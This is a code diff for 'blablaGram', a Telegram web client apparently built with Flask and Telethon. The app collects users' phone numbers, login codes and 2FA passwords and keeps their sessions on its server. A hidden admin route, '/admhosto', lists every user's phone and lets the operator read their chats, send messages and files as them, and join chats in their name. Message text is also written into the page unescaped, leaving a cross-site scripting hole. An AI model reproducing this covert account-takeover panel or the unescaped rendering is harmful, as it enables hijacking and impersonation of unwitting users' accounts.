+ .chat-input-area textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; background: #fff; }
293
+ .chat-input-area button { background: var(--primary-blue); color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.3); }
294
+ .chat-input-area button:hover { background: var(--dark-blue); transform: translateY(-1px); box-shadow: 0 4px 8px rgba(42, 171, 238, 0.4); }
295
+ .chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(42, 171, 238, 0.2); }
296
 
297
+ .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: var(--text-medium); font-size: 1.2em; text-align: center; }
298
+ .join-chat-section { padding: 15px 20px; border-top: 1px solid var(--border-light); display: flex; gap: 10px; background-color: var(--card-background); }
299
+ .join-chat-section input { flex: 1; padding: 12px; border: 1px solid var(--border-light); border-radius: 10px; font-size: 0.95em; box-sizing: border-box; }
300
+ .join-chat-section input:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }
301
+ .join-chat-section button { background: var(--success-green); color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; font-size: 0.95em; transition: background 0.2s, transform 0.2s; }
302
+ .join-chat-section button:hover { background: var(--success-green-hover); transform: translateY(-1px); }
303
+
304
+ /* Mobile Adaptation */
305
  @media (max-width: 768px) {
306
  .app-layout { flex-direction: column; }
307
+ .sidebar { flex: 0 0 auto; width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); background: var(--card-background); box-shadow: 2px 0 10px var(--shadow-medium); }
 
 
 
 
 
 
 
 
 
308
  .sidebar.active { transform: translateX(0); }
309
+ .chat-panel { width: 100%; height: 100vh; position: relative; }
310
+ .sidebar-toggle-button { display: block; margin-right: 15px; } /* Shows hamburger on sidebar, back arrow on chat panel */
 
311
  .sidebar-header .actions { display: flex; align-items: center; }
312
  .chat-panel-header { padding: 15px 15px; }
313
  .chat-panel-header h2 { font-size: 1.2em; }
314
  .chat-input-area { padding: 10px 15px; }
315
+ .message-item { max-width: 90%; }
316
+ }
317
+ @media (min-width: 769px) {
318
+ .sidebar-toggle-button.mobile-back-arrow { display: none; } /* Hide back arrow on desktop */
319
+ .sidebar-toggle-button { display: none; } /* Hide hamburger button on desktop */
320
  }
321
  </style>
322
  </head>
 
324
  <div class="app-layout">
325
  <div class="sidebar" id="sidebar">
326
  <div class="sidebar-header">
327
+ <button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button>
328
  <h2>blablaGram</h2>
329
  <div class="actions">
330
  <button onclick="newMessage()" title="New Message">✎</button>
 
338
  </div>
339
  <div class="chat-panel" id="chatPanel">
340
  <div class="chat-panel-header" id="appHeader">
341
+ <button class="sidebar-toggle-button mobile-back-arrow" onclick="toggleSidebar()">←</button>
342
  <div id="chat-header-info">
343
  <h2 id="chatTitle" style="display:none;"></h2>
344
  </div>
 
350
  <div class="no-chat-selected" id="noChatSelected">
351
  Select a chat to start messaging
352
  </div>
353
+ <div class="messages-container" id="messagesContainer" style="display:none;"></div>
 
 
354
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
355
  <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
356
  <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
 
363
  <script>
364
  let currentChatId = null;
365
  let isSidebarOpen = false;
366
+ let messagesLoadedOffsetId = 0;
367
+ let hasMoreMessages = true;
368
+ const messagesPerPage = 50; // Keep this consistent with backend limit
369
 
370
  function toggleSidebar() {
371
  const sidebar = document.getElementById('sidebar');
 
408
  chatListDiv.appendChild(chatItem);
409
  });
410
  } else {
411
+ chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: var(--text-medium);">${result.message || 'No chats found.'}</p>`;
412
  }
413
  }
414
 
415
  async function selectChat(chatId) {
416
+ if (currentChatId === chatId) { // Prevent re-loading if already selected
417
+ if (window.innerWidth <= 768 && isSidebarOpen) { // Hide sidebar if on mobile and already open
418
+ toggleSidebar();
419
+ }
420
+ return;
421
+ }
422
  currentChatId = chatId;
423
+ messagesLoadedOffsetId = 0; // Reset offset for new chat
424
+ hasMoreMessages = true; // Assume there are more messages for a new chat
425
 
426
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
427
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
435
  document.getElementById('messagesContainer').style.display = 'flex';
436
  document.getElementById('chatInputArea').style.display = 'flex';
437
 
438
+ await fetchMessages(chatId, 0, false); // Fetch initial messages
 
439
  if (window.innerWidth <= 768) {
440
+ toggleSidebar(); // Hide sidebar on mobile after selecting chat
441
  }
442
  }
443
 
444
+ async function fetchMessages(chatId, offsetId, isLoadMore) {
445
  const messagesContainer = document.getElementById('messagesContainer');
 
 
446
  if (!isLoadMore) {
447
+ messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';
 
 
448
  } else {
449
+ const loadingIndicator = document.createElement('p');
450
+ loadingIndicator.style.textAlign = 'center';
451
+ loadingIndicator.style.color = 'var(--text-medium)';
452
+ loadingIndicator.textContent = 'Loading older messages...';
453
+ loadingIndicator.id = 'loadingOlderMessages';
454
+ messagesContainer.prepend(loadingIndicator);
455
  }
456
+
457
+ const response = await fetch(`/api/chat_messages/${chatId}?offset_id=${offsetId}`);
 
 
 
 
 
458
  const result = await response.json();
459
 
460
+ if (document.getElementById('loadingOlderMessages')) {
461
+ document.getElementById('loadingOlderMessages').remove();
462
  }
463
 
464
  if (result.success && result.messages) {
465
+ if (!isLoadMore) {
466
+ messagesContainer.innerHTML = ''; // Clear only for initial load
467
+ }
468
+
469
+ if (result.messages.length === 0 && !isLoadMore) {
470
+ messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;
471
+ hasMoreMessages = false;
472
+ return;
473
+ }
474
+
475
+ const fragment = document.createDocumentFragment();
476
+ result.messages.reverse().forEach(msg => { // Iterate in reverse to prepend
477
  const messageItem = document.createElement('div');
478
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
479
 
480
+ let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';
481
  let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
482
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
483
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
484
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
485
 
486
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
487
+ fragment.prepend(messageItem); // Prepend to fragment to maintain order
488
  });
489
 
490
+ // Prepend 'Load More' button if there are more messages
491
+ if (result.has_more_messages) {
492
+ const loadMoreDiv = document.createElement('div');
493
+ loadMoreDiv.className = 'load-more-messages';
494
+ loadMoreDiv.innerHTML = `<button onclick="loadOlderMessages()">Load More</button>`;
495
+ fragment.prepend(loadMoreDiv);
496
+ hasMoreMessages = true;
497
  } else {
498
+ hasMoreMessages = false;
 
 
499
  }
500
 
501
+ messagesContainer.prepend(fragment); // Prepend all messages in one go
502
+
503
  if (!isLoadMore) {
504
+ messagesContainer.scrollTop = messagesContainer.scrollHeight; // Scroll to bottom for initial load
505
  }
506
+
507
+ messagesLoadedOffsetId = result.next_offset_id;
508
  } else {
509
+ messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
510
+ hasMoreMessages = false;
511
  }
512
  }
513
 
514
+ function loadOlderMessages() {
515
+ if (!currentChatId || !hasMoreMessages) return;
516
+ document.querySelector('.load-more-messages button').remove(); // Remove current load more button
517
+ fetchMessages(currentChatId, messagesLoadedOffsetId, true);
518
  }
519
 
520
  async function newMessage() {
 
544
  messageInput.value = '';
545
  adjustTextareaHeight();
546
 
547
+ // Optimistically add message to UI (optional, for faster feedback)
548
+ const messagesContainer = document.getElementById('messagesContainer');
549
+ const tempMessageItem = document.createElement('div');
550
+ tempMessageItem.className = 'message-item sent';
551
+ tempMessageItem.innerHTML = `<div class="message-text">${message.replace(/\\n/g, '<br>')}</div><div class="message-meta">Sending...</div>`;
552
+ messagesContainer.appendChild(tempMessageItem);
553
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
554
+
555
  const response = await fetch('/api/send_message', {
556
  method: 'POST',
557
  headers: { 'Content-Type': 'application/json' },
 
559
  });
560
  const result = await response.json();
561
  if (result.success) {
562
+ await fetchMessages(currentChatId, 0, false); // Re-fetch the latest messages to include the new one and refresh state
563
  } else {
564
  alert('Failed to send message: ' + result.message);
565
+ tempMessageItem.remove(); // Remove optimistic message if failed
566
  messageInput.value = message;
567
  adjustTextareaHeight();
568
  }
 
581
  formData.append('file', file);
582
  formData.append('caption', caption);
583
 
584
+ messageInput.value = ''; // Clear message input
585
+ fileInput.value = ''; // Clear file input
586
  adjustTextareaHeight();
587
 
588
  const messagesContainer = document.getElementById('messagesContainer');
589
+ const uploadIndicator = document.createElement('p');
590
+ uploadIndicator.style.textAlign = 'center';
591
+ uploadIndicator.style.color = 'var(--text-medium)';
592
+ uploadIndicator.textContent = 'Uploading file...';
593
+ messagesContainer.appendChild(uploadIndicator);
594
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
595
 
596
  const response = await fetch('/api/send_file', {
597
  method: 'POST',
598
  body: formData
599
  });
600
  const result = await response.json();
601
+ uploadIndicator.remove(); // Remove upload indicator
602
  if (result.success) {
603
+ await fetchMessages(currentChatId, 0, false); // Re-fetch messages to show the sent file
604
  } else {
605
  alert('Failed to send file: ' + result.message);
606
  }
607
  }
608
 
609
  async function joinChat() {
610
+ const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();
611
  if (!chatIdentifier.trim()) {
612
  alert('Please enter a channel/group username or invite link.');
613
  return;
 
653
  <meta charset="UTF-8">
654
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
655
  <title>blablaGram - Admin Panel</title>
656
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
657
  <style>
658
+ :root {
659
+ --primary-blue: #2AABEE;
660
+ --dark-blue: #1C91D0;
661
+ --background-light: #F5F7FA;
662
+ --card-background: #FFFFFF;
663
+ --text-dark: #333;
664
+ --text-medium: #666;
665
+ --border-light: #E0E0E0;
666
+ --shadow-medium: rgba(0,0,0,0.15);
667
+ --secondary-gray: #6C757D;
668
+ --secondary-gray-hover: #5A6268;
669
+ }
670
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box;}
671
+ .container { max-width: 960px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }
672
+ h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px;}
673
+ h1 { font-size: 2.8em; }
674
+ h2 { font-size: 1.8em; }
675
+ table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.08); }
676
+ th, td { padding: 15px 20px; border: 1px solid var(--border-light); text-align: left; }
677
+ th { background: var(--background-light); color: var(--text-medium); font-weight: 600; font-size: 0.95em; text-transform: uppercase; }
678
  tr:nth-child(even) { background: #FDFDFD; }
679
+ tr:hover { background: rgba(42, 171, 238, 0.05); }
680
+ a { color: var(--primary-blue); text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
681
+ a:hover { text-decoration: underline; color: var(--dark-blue); }
682
+ .back-button { margin-top: 30px; text-align: center; }
683
+ .back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
684
+ .back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }
685
+ .back-button a:active { transform: translateY(0); }
686
+
687
  @media (max-width: 768px) {
688
  body { padding: 15px; }
689
+ .container { padding: 25px 15px; border-radius: 12px; }
690
+ h1 { font-size: 2.2em; margin-bottom: 20px; }
691
+ h2 { font-size: 1.5em; }
692
+ table, thead, tbody, th, td, tr { display: block; }
693
+ thead tr { position: absolute; top: -9999px; left: -9999px; } /* Hide table headers (but not display: none;, for accessibility) */
694
+ tr { border: 1px solid var(--border-light); margin-bottom: 15px; border-radius: 8px; overflow: hidden; }
695
+ td { border: none; border-bottom: 1px solid var(--border-light); position: relative; padding-left: 50%; text-align: right; }
696
+ td:last-child { border-bottom: none; }
697
+ td:before { position: absolute; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: var(--text-medium); font-size: 0.9em; }
698
+ td:nth-of-type(1):before { content: "ID"; }
699
+ td:nth-of-type(2):before { content: "Telegram ID"; }
700
+ td:nth-of-type(3):before { content: "Username"; }
701
+ td:nth-of-type(4):before { content: "Phone"; }
702
+ td:nth-of-type(5):before { content: "Actions"; }
703
+ td a { display: block; text-align: right; }
704
+ .back-button a { width: calc(100% - 30px); }
705
  }
706
  </style>
707
  </head>
 
716
  <tbody>
717
  {% for user in users %}
718
  <tr>
719
+ <td>{{ user[0] }}</td>
720
+ <td>{{ user[1] }}</td>
721
+ <td>{{ user[2] }}</td>
722
+ <td>{{ user[3] }}</td>
723
+ <td>
724
  <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
725
  </td>
726
  </tr>
 
742
  <meta charset="UTF-8">
743
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
744
  <title>Manage: {{ user.username or user.phone }}</title>
745
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
746
  <style>
747
+ :root {
748
+ --primary-blue: #2AABEE;
749
+ --dark-blue: #1C91D0;
750
+ --background-light: #F5F7FA;
751
+ --card-background: #FFFFFF;
752
+ --text-dark: #333;
753
+ --text-medium: #666;
754
+ --text-light: #999;
755
+ --border-light: #E0E0E0;
756
+ --shadow-light: rgba(0,0,0,0.05);
757
+ --shadow-medium: rgba(0,0,0,0.15);
758
+ --success-green: #28A745;
759
+ --success-green-hover: #218838;
760
+ --secondary-gray: #6C757D;
761
+ --secondary-gray-hover: #5A6268;
762
+ }
763
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box; }
764
+ .container { max-width: 1200px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }
765
+ h1 { text-align: center; color: var(--primary-blue); margin-bottom: 20px; font-weight: 700; font-size: 2.5em; letter-spacing: -0.5px; }
766
+ h2 { margin-top: 0; font-size: 1.5em; font-weight: 600; color: var(--text-dark); margin-bottom: 15px; }
767
+ .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: var(--text-medium); font-weight: 500; border-bottom: 1px solid var(--border-light); padding-bottom: 20px; }
768
+ .split-panel { display: flex; gap: 25px; margin-top: 25px; }
769
+ .split-panel > div { flex: 1; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }
770
+ input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
771
+ input[type="text"]:focus, textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }
772
+ textarea { resize: vertical; min-height: 80px; }
773
+ button { background: var(--primary-blue); color: #fff; padding: 12px 20px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.0em; font-weight: 600; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }
774
+ button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.3); }
775
+ button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.1); }
776
+ button.file-send { background: var(--success-green); box-shadow: 0 4px 10px rgba(40, 167, 69, 0.2); }
777
+ button.file-send:hover { background: var(--success-green-hover); box-shadow: 0 6px 15px rgba(40, 167, 69, 0.3); }
778
+ .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
779
+ .chat-item { padding: 14px 18px; border-bottom: 1px solid var(--border-light); cursor: pointer; transition: background 0.2s ease; }
780
+ .chat-item:hover, .chat-item.active { background: rgba(42, 171, 238, 0.08); }
781
  .chat-item:last-child { border-bottom: none; }
782
+ .chat-item h3 { margin: 0; font-size: 1.05em; color: var(--text-dark); font-weight: 600; }
783
+ .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: var(--text-medium); }
784
+ .message-viewer { margin-top: 30px; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }
785
+ .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); margin-top: 15px; display: flex; flex-direction: column-reverse; scroll-behavior: smooth; }
786
+ .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px var(--shadow-light); }
787
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
788
+ .message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 4px; }
789
+ .message-sender { font-weight: bold; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }
790
+ .message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}
791
+ .message-meta { font-size: 0.7em; color: var(--text-light); margin-top: 5px; text-align: right; }
792
+ .media-link { display: block; margin-top: 5px; color: var(--primary-blue); text-decoration: none; }
793
+ .back-button { margin-top: 30px; text-align: center; }
794
+ .back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
795
+ .back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }
796
+ .back-button a:active { transform: translateY(0); }
797
+ .clear-chat-selection { text-align: center; margin-top: 15px; }
798
+ .clear-chat-selection button { background: var(--secondary-gray); color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
799
+ .clear-chat-selection button:hover { background: var(--secondary-gray-hover); }
800
+ .load-more-messages { text-align: center; margin-top: 10px; color: var(--text-medium); font-size: 0.85em; padding-bottom: 10px;}
801
+ .load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; width: auto; box-shadow: none;}
802
+ .load-more-messages button:hover { background: var(--dark-blue); transform: none; box-shadow: none; }
803
+
804
 
805
  @media (max-width: 768px) {
806
  body { padding: 15px; }
807
+ .container { padding: 25px 15px; border-radius: 12px; }
808
+ h1 { font-size: 2.2em; }
809
  .split-panel { flex-direction: column; gap: 20px; }
810
+ .split-panel > div { padding: 20px; border-radius: 10px; }
811
+ .user-info { font-size: 1em; padding-bottom: 15px; }
812
+ input[type="text"], textarea { padding: 10px; font-size: 0.9em; }
813
+ button { padding: 10px 15px; font-size: 0.9em; margin-top: 10px; }
814
+ .chat-list { max-height: 300px; }
815
+ .messages-container { max-height: 400px; }
816
+ .message-item { max-width: 95%; }
817
+ .back-button a { width: calc(100% - 30px); }
818
  }
819
  </style>
820
  </head>
 
830
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
831
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
832
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
833
+ <button onclick="document.getElementById('sendFileInput').click()" class="file-send">Send File</button>
834
 
835
+ <h2 style="margin-top: 30px;">Join Chat</h2>
836
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
837
  <button onclick="joinChat({{ user.id }})">Join Chat</button>
838
  </div>
 
846
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
847
  </div>
848
  {% else %}
849
+ <p style="padding: 15px; text-align: center; color: var(--text-medium);">No chats found.</p>
850
  {% endfor %}
851
  </div>
852
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
 
855
 
856
  <div class="message-viewer" id="messageViewer" style="display:none;">
857
  <h2 id="messagesChatTitle"></h2>
858
+ <div class="messages-container" id="messagesContainer"></div>
 
 
859
  </div>
860
 
861
  <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
862
  </div>
863
  <script>
864
+ let currentAdminChatId = null;
865
+ let adminMessagesLoadedOffsetId = 0;
866
+ let adminHasMoreMessages = true;
867
+ const adminMessagesPerPage = 50;
868
 
869
  function clearChatSelection() {
870
  document.getElementById('messageViewer').style.display = 'none';
871
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
872
+ currentAdminChatId = null;
873
+ adminMessagesLoadedOffsetId = 0;
874
+ adminHasMoreMessages = true;
875
  }
876
 
877
  async function selectChat(userId, chatId, chatTitle) {
878
+ if (currentAdminChatId === chatId) return;
879
+ currentAdminChatId = chatId;
880
+ adminMessagesLoadedOffsetId = 0;
881
+ adminHasMoreMessages = true;
882
+
883
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
884
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
885
 
886
  document.getElementById('messageViewer').style.display = 'block';
887
  document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
888
+
889
+ await fetchAdminMessages(userId, chatId, 0, false);
890
  }
891
 
892
+ async function fetchAdminMessages(userId, chatId, offsetId, isLoadMore) {
893
  const messagesContainer = document.getElementById('messagesContainer');
 
 
894
  if (!isLoadMore) {
895
+ messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';
 
 
896
  } else {
897
+ const loadingIndicator = document.createElement('p');
898
+ loadingIndicator.style.textAlign = 'center';
899
+ loadingIndicator.style.color = 'var(--text-medium)';
900
+ loadingIndicator.textContent = 'Loading older messages...';
901
+ loadingIndicator.id = 'adminLoadingOlderMessages';
902
+ messagesContainer.prepend(loadingIndicator);
903
  }
904
 
905
+ const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages?offset_id=${offsetId}`);
 
 
 
 
 
906
  const result = await response.json();
907
+
908
+ if (document.getElementById('adminLoadingOlderMessages')) {
909
+ document.getElementById('adminLoadingOlderMessages').remove();
910
  }
911
 
912
  if (result.success && result.messages) {
913
+ if (!isLoadMore) {
914
+ messagesContainer.innerHTML = '';
915
+ }
916
+
917
+ if (result.messages.length === 0 && !isLoadMore) {
918
+ messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;
919
+ adminHasMoreMessages = false;
920
+ return;
921
+ }
922
+
923
+ const fragment = document.createDocumentFragment();
924
  result.messages.reverse().forEach(msg => {
925
  const messageItem = document.createElement('div');
926
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
927
+ let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';
928
  let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
929
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
930
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
931
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
932
 
933
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
934
+ fragment.prepend(messageItem);
935
  });
936
 
937
+ if (result.has_more_messages) {
938
+ const loadMoreDiv = document.createElement('div');
939
+ loadMoreDiv.className = 'load-more-messages';
940
+ loadMoreDiv.innerHTML = `<button onclick="loadOlderAdminMessages(${userId})">Load More</button>`;
941
+ fragment.prepend(loadMoreDiv);
942
+ adminHasMoreMessages = true;
943
  } else {
944
+ adminHasMoreMessages = false;
 
 
945
  }
946
 
947
+ messagesContainer.prepend(fragment);
948
  if (!isLoadMore) {
949
  messagesContainer.scrollTop = messagesContainer.scrollHeight;
950
  }
951
+ adminMessagesLoadedOffsetId = result.next_offset_id;
952
 
953
  } else {
954
+ messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
955
+ adminHasMoreMessages = false;
956
  }
957
  }
958
 
959
+ function loadOlderAdminMessages(userId) {
960
+ if (!currentAdminChatId || !adminHasMoreMessages) return;
961
+ document.querySelector('.load-more-messages button').remove();
962
+ fetchAdminMessages(userId, currentAdminChatId, adminMessagesLoadedOffsetId, true);
 
963
  }
964
 
965
  async function sendMessage(userId) {
966
+ const chatId = document.getElementById('sendMessageRecipient').value.trim();
967
+ const message = document.getElementById('sendMessageContent').value.trim();
968
+ if (!chatId || !message) { alert('Recipient and message are required.'); return; }
969
  const response = await fetch(`/admhosto/send_message/${userId}`, {
970
  method: 'POST',
971
  headers: { 'Content-Type': 'application/json' },
 
976
  if (result.success) {
977
  document.getElementById('sendMessageRecipient').value = '';
978
  document.getElementById('sendMessageContent').value = '';
979
+ if (currentAdminChatId == chatId) { // Refresh current chat if it's the target
980
+ fetchAdminMessages(userId, currentAdminChatId, 0, false);
981
+ }
982
  }
983
  }
984
 
 
987
  if (fileInput.files.length === 0) return;
988
 
989
  const file = fileInput.files[0];
990
+ const chatId = document.getElementById('sendMessageRecipient').value.trim();
991
+ const caption = document.getElementById('sendMessageContent').value.trim();
992
 
993
  if (!chatId) { alert('Recipient is required to send a file.'); return; }
994
 
 
1001
  document.getElementById('sendMessageContent').value = '';
1002
  fileInput.value = '';
1003
 
1004
+ alert('Uploading file...');
1005
  const response = await fetch(`/admhosto/send_file/${userId}`, {
1006
  method: 'POST',
1007
  body: formData
1008
  });
1009
  const result = await response.json();
1010
  alert(result.message);
1011
+ if (result.success && currentAdminChatId == chatId) { // Refresh current chat if it's the target
1012
+ fetchAdminMessages(userId, currentAdminChatId, 0, false);
1013
+ }
1014
  }
1015
 
1016
  async function joinChat(userId) {
1017
+ const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();
1018
  if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
1019
  const response = await fetch(`/admhosto/join_chat/${userId}`, {
1020
  method: 'POST',
 
1023
  });
1024
  const result = await response.json();
1025
  alert(result.message);
1026
+ if (result.success) {
1027
+ location.reload(); // Reload to refresh chat list
1028
+ }
1029
  }
1030
  </script>
1031
  </body>
 
1046
 
1047
  if not phone:
1048
  return jsonify({'success': False, 'message': 'Phone number is required.'})
1049
+
1050
+ phone = phone.strip() # Clean input
1051
+ if not phone.startswith('+'):
1052
+ return jsonify({'success': False, 'message': 'Phone number must start with country code (e.g., +1234567890).'})
1053
 
1054
  session_hash = hashlib.md5(phone.encode()).hexdigest()
1055
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
 
1074
  session['user_id'] = user_db_id
1075
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
1076
  else:
1077
+ try:
1078
+ sent_code = await client.send_code_request(session['current_login_phone'])
1079
+ session['phone_code_hash'] = sent_code.phone_code_hash
1080
+ result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
1081
+ except PhoneNumberInvalidError:
1082
+ result = {'success': False, 'message': 'The phone number is invalid. Please check the format (e.g., +1234567890).'}
1083
+ except FloodWaitError as e:
1084
+ result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1085
+ except RpcCallError as e:
1086
+ result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
1087
+ except Exception as e:
1088
+ result = {'success': False, 'message': f'An unexpected error occurred while sending code: {e}'}
1089
  elif step == 'code':
1090
  code = data.get('code')
1091
  phone_code_hash = session.get('phone_code_hash')
1092
  if not phone_code_hash:
1093
+ result = {'success': False, 'message': 'Session expired or code hash missing, please try again from start.'}
1094
+ await client.disconnect()
1095
+ return result
1096
 
1097
  try:
1098
  me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
 
1106
  result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
1107
  except SessionPasswordNeededError:
1108
  result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
1109
